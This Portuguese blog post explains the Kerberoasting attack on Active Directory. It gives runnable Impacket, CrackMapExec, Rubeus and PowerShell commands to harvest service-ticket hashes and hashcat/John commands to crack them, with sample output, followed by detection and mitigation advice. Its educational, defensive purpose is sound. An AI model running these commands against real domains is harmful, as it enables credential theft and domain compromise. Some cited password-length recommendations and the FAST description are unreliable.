Kerberoasting: Deep dive

Deixe um comentário / Active Directory, Segurança

Fala pessoal! Eu não sei vocês, mas após algumas semanas mostrando a vocês sobre os ataques mais destrutivos ao Active Directory, eu estou chegando a seguinte conclusão: O quão sortudo muitas empresas são! Os motivos são vários que vai de escopo, budget e até a cultura. Enfim… espero que você, ao ler este post e ciente de como está seu ambiente, possa ajudar (no que for possível) para mitigar estes grandes problemas.

Agora sem mais delongas, voltemos para o tema: Kerberoasting.

MITRE ATT&CK – T1558 – Steal or Forge Kerberos Tickets

No MITRE ATT&CK existem diversas subtécnicas com o foco de roubar ou falsificar bilhetes Kerberos. Uma dessas subtécnicas é Kerberoasting.(T1558.003)

1. Kerberoasting (T1558.003)

Esta subtécnica de ataque contra o Active Directory (AD) visa obter hashes de senhas de contas de serviços que têm valores servicePrincipalName (SPN) para efetuar quebra destes hashs de forma off-line.

No Active Directory, SPNs são registrados em contas de usuário ou computador, conhecidas como “contas de serviço”. Essas contas são utilizadas para executar serviços e aplicativos, e geralmente recebem o menor privilégio necessário para executar sua função.

Quando um cliente precisa acessar serviço hospedado em um servidor, ele emprega o SPN para localizar a conta de serviço vinculada ao serviço. O cliente então se autentica no serviço usando as credenciais da conta de serviço, que são armazenadas como um hash de senha no AD.

No caso do Kerberoasting, um invasor pode explorar o valor SPN de uma conta de serviço para solicitar um tíquete de serviço (TGS). O tíquete TGS pode ser criptografado (via RC4) com o hash de senha da conta de serviço atribuído ao SPN solicitado como a chave. Isso significa que um invasor que captura tíquetes TGS no tráfego de rede ou os extrai da memória pode extrair o hash de senha da conta de serviço e executar um ataque de força bruta offline para recuperar a senha em texto simples.

Kerberoasting e Pass-the-Ticket são subtécnicas diferentes usadas para roubar e personificar credenciais válidas.

Não lembra o que é Pass-the-Ticket? Confira tudo neste post.

2. Requisitos mínimos para executar o Kerberoasting

  • Conta de Domínio Válida:
    O invasor precisa de qualquer conta de usuário autenticada no Active Directory. Pode ser:
    • Uma conta de usuário padrão (sem privilégios administrativos).
    • Uma conta comprometida por phishing, ataques de força bruta ou vazamento de credenciais.
  • Conectividade com o Controlador de Domínio (DC):
    O invasor precisa ser capaz de se comunicar com o DC para enviar solicitações Kerberos (normalmente via portas TCP/UDP 88). você podeu usar cmdlets para validação ou, em caso de ativo Windows, pode usar o PortQryUI – User Interface for the PortQry Command Line Port Scanner
  • Acesso a Ferramentas de Extração:
    O atacante deve ter ferramentas como Rubeus, Mimikatz, ou Impacket para capturar e manipular tickets.

3. Por que esse tipo de ataque Funciona?

O protocolo Kerberos foi projetado para permitir que qualquer usuário autenticado solicite tickets de serviço (TGS) para acessar recursos na rede. O problema é que:

  • Active Directory não diferencia se a solicitação vem de um computador do domínio ou não, desde que a autenticação esteja correta.
  • O ticket TGS é criptografado com o hash da senha da conta de serviço.
  • O hash pode ser extraído e quebrado offline, sem interações adicionais com o AD.

4. Como o ataque funciona?

O Kerberoasting explora o fato de que, no Kerberos, as contas de serviço armazenam hashes de senha para autenticação. O ataque é baseado em quatro etapas principais:

1. Comprometimento inicial

O invasor precisa de acesso autenticado à rede — mesmo uma conta de usuário comum é suficiente.

2. Solicitação de Tickets de Serviço (TGS)

Caso você já com acesso a um alvo, você pode usar o comando klist para listar e gerenciar tickets Kerberos já existentes no cache do sistema. Caso o invasor não esteja com acesso, é possível usar ferramentas para solicitar Service Tickets (TGS) para contas de serviço configuradas com o atributo Service Principal Name (SPN).

  • O TGS é criptografado com o hash da senha da conta de serviço.

3. Extração dos Tickets

O ticket TGS é armazenado localmente na memória do sistema. O invasor pode facilmente extrair esse ticket usando ferramentas dedicadas para este fim e depois executa ataques de força bruta nos hashes extraídos.

4. Ataque de Força Bruta (Offline)

O atacante leva o hash extraído para um ambiente controlado e executa ataques de força bruta ou dicionário para tentar quebrá-lo. Como o ataque é feito offline, não gera alertas de falhas de login no AD.

5. Impactos do Kerberoasting

  • Movimento lateral facilitado: O invasor pode acessar diferentes serviços e sistemas sem precisar comprometer novas credenciais.
  • Dificuldade na detecção: O ataque utiliza credenciais legítimas, evitando detecções baseadas em falhas de login.
  • Persistência na rede: Como os tickets Kerberos têm uma validade temporária, o invasor pode renová-los automaticamente e manter o acesso.
  • Comprometimento Total do Domínio: Se a conta de serviço for uma Domain Admin, o domínio inteiro pode ser comprometido.

6. Ferramentas e técnicas

Aviso: Este conteúdo tem propósitos exclusivamente educacionais e deve ser utilizado para aprimorar a segurança da infraestrutura corporativa.

Ataques do tipo Kerberoasting podem ser feitos não apenas com uma, mas sim a várias ferramentas como Impacket, Rubeus, Mimikatz e Hashcat / John the Ripper.

6.1 – Impacket + Hashcat

O Impacket é uma coleção de scripts Python para interação com protocolos do Windows. O script GetUserSPNs.py é amplamente utilizado para Kerberoasting. Seu uso consiste nos seguintes passos

Passo 1: Coletar SPNs

O atacante executa um dos seguintes scripts. A explicação segue abaixo:

# Definindo Domain Controller (KDC)
$KDC = 10.100.10.1

# Usando o GetUserSPNs.py quando você já possui as credenciais em texto limpo
GetUserSPNs.py -dc-ip $KDC 'DOMAIN/USER:Password' -outputfile KerberoastingHashes.txt 
# Definindo Domain Controller (KDC)
$KDC = 10.100.10.1
$NTLMHash = aad2c36b52414aedcd3b434b42301ab

# Usando o GetUserSPNs.py quando você possui apenas o hash da senha
GetUserSPNs.py -dc-ip $KDC 'DOMAIN/USER' -hashes $NTLMHash -outputfile KerberoastingHashes.txt

Explicação do script acima:

  • O parâmetro -outputfile é usado para especificar um arquivo de saída (KerberoastingHashes.txt), onde os hashes de senha obtidos serão armazenados;
  • O parâmetro -dc-ip é usado para especificar o endereço IP do controlador de domínio (variável $KeyDistributionCenter);
  • O parâmetro hashes é usado para especificar o hash a ser usado uma vez que não se sabe a senha em texto limpo (variável $NTLMHash);
  • ‘DOMAIN/USER:Password’ é usado para fornecer dados da conta quando se é sabido a senha em texto limpo;
  • ‘DOMAIN/USER’ é usado para fornecer dados da conta quando irá ser usado o hash da senha;

Exemplo de saída do Impacket sem o output

Impacket v0.10.0 - Copyright 2024 SecureAuth Corporation

ServicePrincipalName                 Name       MemberOf           PasswordLastSet      LastLogon
----------------------               ---------  ----------         -----------------    -----------------
MSSQLSvc/SQLSRV01.company.corp:1433  svc-sql01  CN=SQL_Admins,...  2022-11-01 12:00:00  2024-01-25 10:15:00

HTTP/WEBSRV01.company.corp           svc-web01  CN=Web_Admins,...  2023-05-12 08:00:00  2024-01-24 14:20:00


$krb5tgs$23$*svc-SQLSRV01$CORP.LOCAL$MSSQLSvc/SQLSRV01.company.corp:1433*$3f8d45b97cb2df1b$adb

$krb5tgs$23$*svc-WEBSRV01$CORP.LOCAL$HTTP/WEBSRV01.ccompany.corp*$5e3b29afddf5a3f9$abcdef12345

O texto começando com $krb5tgs$23$* é o hash do TGS para cada conta de serviço. Esses hashes estão prontos para ataques de força bruta offline.

Passo 2: Salvar o Hash

Para facilitar o ataque com ferramentas como o Hashcat, o atacante redireciona a saída para um arquivo:

# Definindo Domain Controller (KDC)
$KDC = 10.100.10.1
# Usando o GetUserSPNs.py para exportar os hashes
GetUserSPNs.py -dc-ip $KDC 'DOMAIN/USER:Password' > KerberoastingHashes.txt
Passo 3: Quebrar o Hash com o Hashcat

O Hashcat suporta o formato de hash Kerberos (modo 13100 para RC4-HMAC). O comando para iniciar o ataque de força bruta é:

hashcat -m 13100 -a 0 KerberoastingHashes.txt wordlist.txt
  • -m 13100: Define o modo para hashes Kerberos 5 TGS-REP (RC4-HMAC).
  • -a 0: Ataque de dicionário (modo padrão).
  • hashes.txt: Arquivo com os hashes extraídos.
  • wordlist.txt: Lista de senhas para tentativa de quebra (por exemplo, rockyou.txt).

O comando também especifica os caminhos de arquivo do passwordhashes.txt e wordlist.txt. Uma vez que o comando é executado, o Hashcat tentará encontrar uma correspondência entre os hashes de senha no arquivo passwordhashes.txt e as palavras no arquivo wordlist.txt.

Exemplo de saída do hashcat:

$krb5tgs$23$*svc-SQLSRV01$CORP.LOCAL$MSSQLSvc/SQLSRV01.company.corp:1433*$3f8d45b97cb2df1b$adb:Password@123

O Hashcat quebrou a senha do serviço SQLSRV01 com sucesso: Password@123.

6.2 – CrackMapExec (CME) + John the Ripper

Outra forma de executar Kerberoasting é através da ferramenta CrackMapExec (CME)

Passo 1: Coletar SPNs

O atacante executa um dos seguintes scripts.

crackmapexec ldap $TARGETS -u $USER -p $PASSWORD --kerberoasting KerberoastingHashes.txt --kdcHost $KeyDistributionCenter

Explicação do script acima:

  • O parâmetro -kerberoasting é usado para especificar um arquivo de saída (KerberoastingHashes.txt), onde os hashes de senha obtidos serão armazenados.
  • O parâmetro -kdcHost é usado para especificar o endereço IP do controlador de domínio que é uma variável ($KeyDistributionCenter)
  • O parâmetro -u $USER e -p $PASSWORD são usados para fornecer dados da conta quando se é sabido a senha em texto limpo.
Passo 2: Quebrar o Hash com o Jhon the Ripper

Após direcionar hashes no arquivo kerberoastables.txt, o adversário pode executar um ataque de força bruta offline para obter a senha em texto simples usando ferramentas de terceiros, como John the Ripper

john --format=krb5tgs --wordlist=$wordlist KerberoastingHashes.txt

Explicação do script acima:

  • O comando acima usa o parâmetro –format=krb5tgs para especificar que os hashes no arquivo “kerberoastables.txt” estão no formato do Kerberos 5 TGS ​​(Ticket Granting Service);
  • O parâmetro —wordlist=$wordlist para especificar o local do arquivo wordlist a ser usado no processo de cracking (que neste caso é uma variável)

Assim que o comando for executado, John tentará encontrar uma correspondência entre os hashes de senha e as palavras no arquivo wordlist.

6.3 – LDAP Filter + Rubeus + Hascat

O ataque Kerberoasting que utiliza Rubeus consiste em quatro partes principais.

Passo 1: Coletar SPNs

O primeiro passo de um ataque Kerberoasting é identificar e enumerar os Service Principal Names (SPNs) das contas de serviço alvo com privilégios desejáveis. Por esse motivo, os adversários podem desenvolver filtros LDAP personalizados para procurar usuários com valores SPN registrados para o domínio atual.

$ldapFilter =
"(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
#Execute Search
$results = $search.FindAll()
#Display SPN values from the returned objects
$Results = foreach ($result in $results)
{
  $result_entry = $result.GetDirectoryEntry()
  $result_entry | Select-Object @{
       Name = "Username"; Expression = { $_.sAMAccountName }
  }, @{
       Name = "SPN"; Expression = { $_.servicePrincipalName | Select-Object
-First 1 }
  }
}

$Results

O SPNs é divido em serviço e host. A classe de serviço é o nome do serviço, como “HTTP” ou “ldap”, e o nome do host é o nome do host DNS ou o endereço IP da máquina onde o serviço está sendo executado. Por exemplo, um SPN para um servidor web pode ser “HTTP/webserver.example.com”, onde “HTTP” é a classe de serviço e “webserver.example.com” é o nome do host.

Exemplo de saída:

Username          SPN
--------          ---
ServiceAccount1   http/webserver1
ServiceAccount2   cifs/appserver2
Passo 2: Solicitar tickets TGS

Um invasor pode ter como alvo contas de serviço específicas identificando e enumerando seus Nomes Principais de Serviço (SPNs) e, em seguida, solicitar tickets do Serviço de Concessão de Ticket (TGS) para essas contas de serviço. Ferramentas como Rubeus podem ser usadas para automatizar esse processo extraindo os hashes de senha da memória

PS> .\Rubeus.exe kerberoast /simple /outfile:KerberoastingHashes.txt
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Searching the current domain for Kerberoastable users
[*] Total kerberoastable users : 2
[*] Hash written to C:\SevenBlog\hashes.txt
[*] Roasted hashes written to : C:\SevenBlog\KerberoastingHashes.txt
PS> Get-Content .\KerberoastingHashes.txt
$krb5tgs$23$*ContinentalHotelWebServer$domain.corp$http/webserver*$45FAD4566ABAAC3B1287CACED331D79$CAB ...
Passo 3: Quebrar o Hash com o Hashcat

O Hashcat suporta o formato de hash Kerberos (modo 13100 para RC4-HMAC). Esse processo é feito usando um ataque de força bruta offline, o que significa que o invasor não precisa se comunicar com o diretório ativo, tornando-o indetectável.

Para executar essa tarefa, o invasor pode usar diferentes ferramentas, como John the Ripper e Hashcat, que são projetadas especificamente para quebrar senhas com dicionários de senhas comuns.

O comando para iniciar o ataque de força bruta é:

hashcat -m 13100 -a 0 KerberoastingHashes.txt wordlist.txt
  • -m 13100: Define o modo para hashes Kerberos 5 TGS-REP (RC4-HMAC).
  • -a 0: Ataque de dicionário (modo padrão).
  • hashes.txt: Arquivo com os hashes extraídos.
  • wordlist.txt: Lista de senhas para tentativa de quebra (por exemplo, rockyou.txt).

O comando também especifica os caminhos de arquivo do passwordhashes.txt e wordlist.txt. Uma vez que o comando é executado, o Hashcat tentará encontrar uma correspondência entre os hashes de senha no arquivo passwordhashes.txt e as palavras no arquivo wordlist.txt.

7. Como Detectar um Ataque de Kerberoasting?

Embora difícil de detectar, alguns sinais podem indicar um ataque em andamento:

7.1 Eventos de Log Importantes (Event Viewer)

  • Event ID 4769 (A Kerberos Service Ticket was requested.):
    • Muitas solicitações de tickets em um curto período de tempo.
    • Solicitações incomuns feitas por contas de usuário padrão.
    • Campos chave: Account Name, Service Name, Client Address
  • Análise de Padrões:
    • Solicitação de tickets para muitos SPNs diferentes.
    • Atividade fora do horário normal de expediente.
    • Solicitações vindas de máquinas incomuns ou hosts comprometidos.

7.4 SIEM/EDR:

  • Monitorar comportamentos anômalos com ferramentas de Security Information and Event Management (SIEM).
  • Ferramentas como Microsoft Sentinel, Elastic, Google Chronicle ou Splunk ajudam a correlacionar eventos suspeitos.

8. Como Mitigar o Kerberoasting?

Para proteger as senhas das contas de serviço contra ataques Kerberoasting, várias medidas podem ser tomadas. Abaixo cito algumas delas:

8.1 Kerberos Amoring – Flexible Authentication Secure Tunneling (FAST)

Consiste simplesmente em negar solicitações de autenticação que não usam Kerberos. Esta extensão de pré-autenticação cria um canal seguro entre o cliente e o controlador de domínio, visando aumentar a proteção de tickets Kerberos contra tentativas de quebra de senha offline.

Embora o FAST possa erradicar a ameaça representada pelo Kerberoasting, implementá-lo de forma rápida e eficaz em uma organização pode ser desafiador.

8.2 Eliminar o uso de protocolos não seguros no Kerberos – RC4

Desativar o RC4 é uma tarefa importante, porém, se for mais complicado realizar em todo o ambiente, opte uma uma configuração inicial mais simples: configurar contas de serviço individuais para não aceitar o protocolo RC4.

Para cada uma destas contas de serviço, existe um atributo no AD chamado msDS-SupportedEncryptionTypes . Defina este valor como 0x18 (decimal 24), Com isso, apenas AES128 e AES256 serão habilitados.

Essa alteração não apenas melhora a segurança, mas também facilita a detecção de atividades maliciosas, pois o uso de RC4 em uma solicitação TGS é um indicador mais forte

8.3 Usar senhas muito fortes para contas de serviço (mínimo de 30 caracteres)

A recomendação de usar senhas longas e complexas (mais de 30 caracteres) para contas de serviço, especialmente em ambientes do Active Directory, está fundamentada em diversas diretrizes e frameworks de segurança. Essa orientação visa mitigar ataques como o Kerberoasting, que dependem da quebra de hashes de senha extraídos de tickets Kerberos.

Aqui estão os principais frameworks e diretrizes que embasam essa prática:

8.3.1. NIST (National Institute of Standards and Technology)
🔐 Publicação: NIST SP 800-63B – Digital Identity Guidelines

O NIST, referência global em boas práticas de segurança, define requisitos para a criação de senhas seguras.

  • Recomendação:
    • Tamanho mínimo de 8 caracteres para usuários comuns.
    • Comprimento maior para contas privilegiadas e de serviço, sem especificar um limite superior.
    • Enfatiza o uso de comprimentos mais longos em vez de complexidade excessiva, pois isso é mais eficaz contra ataques de força bruta e dicionário.
  • Por que é relevante para o Kerberoasting?
    • O ataque é feito offline, e o principal fator que dificulta a quebra do hash é o comprimento da senha.
    • Senhas com 25 caracteres ou mais tornam o processo de quebra impraticável, mesmo com hardware potente.

📌 Referência: NIST SP 800-63B

🏢 8.3.2. CIS Controls (Center for Internet Security)
🔐 Documento: CIS Controls v8 – Control 5: Account Management

O CIS Controls é uma coleção de melhores práticas para segurança cibernética amplamente adotada em ambientes corporativos.

  • Recomendação:
    • Senhas fortes e únicas para contas de serviço.
    • Para contas sem autenticação multifator, recomenda-se senhas muito longas para reduzir o risco de comprometimento por ataques offline.
  • Especificações:
    • Embora o CIS não defina um número exato, muitos benchmarks de segurança do CIS sugerem mínimo de 20-25 caracteres para contas de serviço.

📌 Referência: CIS Controls v8

🖥️ 8.3.3. Microsoft Security Baselines
🔐 Documento: Microsoft Windows Security Baselines

A própria Microsoft, que desenvolve o Active Directory e o Kerberos, fornece recomendações específicas para proteger contas de serviço.

  • Recomendação:
    • Senhas complexas e de alta entropia para contas de serviço.
    • Uso de contas gerenciadas (gMSA) quando possível, pois o Windows gerencia senhas complexas automaticamente.
    • Para contas de serviço tradicionais, recomenda-se o uso de senhas com mais de 25 caracteres.
  • Contexto para o Kerberoasting:
    • O Microsoft Security Baseline destaca o risco de ataques Kerberoasting e orienta o uso de senhas de alta complexidade para mitigar o problema.

📌 Referência: Microsoft Security Compliance Toolkit

🛡️ 8.3.4. NSA (National Security Agency) – Hardening Guidelines
🔐 Documento: NSA’s Guidelines for Securing Active Directory

A NSA fornece orientações rigorosas para proteger infraestruturas críticas, incluindo o Active Directory.

  • Recomendação:
    • Senhas de no mínimo 25 caracteres para contas de serviço e administrativas críticas.
    • Uso de autenticação multifator (MFA) combinada com senhas longas para aumentar a resistência a ataques offline.

📌 Referência: NSA Hardening Guidelines

🌐 8.3.5. ISO/IEC 27001 & 27002 – Information Security Management
🔐 Padrão: ISO/IEC 27002 – Controles de Segurança da Informação

O ISO/IEC 27001 e 27002 são padrões internacionais para sistemas de gestão da segurança da informação.

  • Recomendação:
    • Embora não especifique um comprimento exato para senhas, o ISO 27002 destaca a importância de políticas de senha baseadas em risco.
    • Para contas de serviço em ambientes de alta segurança, recomenda-se o uso de senhas de comprimento estendido, especialmente para mitigar ataques offline.

📌 Referência: ISO/IEC 27002

⚡ 8.3.6. OWASP (Open Web Application Security Project)
🔐 Guia: OWASP Authentication Cheat Sheet

Embora o OWASP foque mais em segurança de aplicações, suas recomendações de autenticação se aplicam ao contexto de Active Directory.

  • Recomendação:
    • Senhas de 20 caracteres ou mais para contas críticas, especialmente onde o MFA não está disponível.
    • Foco em senhas longas e aleatórias para reduzir o risco de ataques de força bruta.

📌 Referência: OWASP Authentication Cheat Sheet

8.4 Usar Contas de Serviço Gerenciadas (gMSA)

  • As Group Managed Service Accounts (gMSAs) eliminam a necessidade de senhas fixas, dificultando o ataque.
  • O Kerberos gerencia automaticamente as credenciais dessas contas.

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *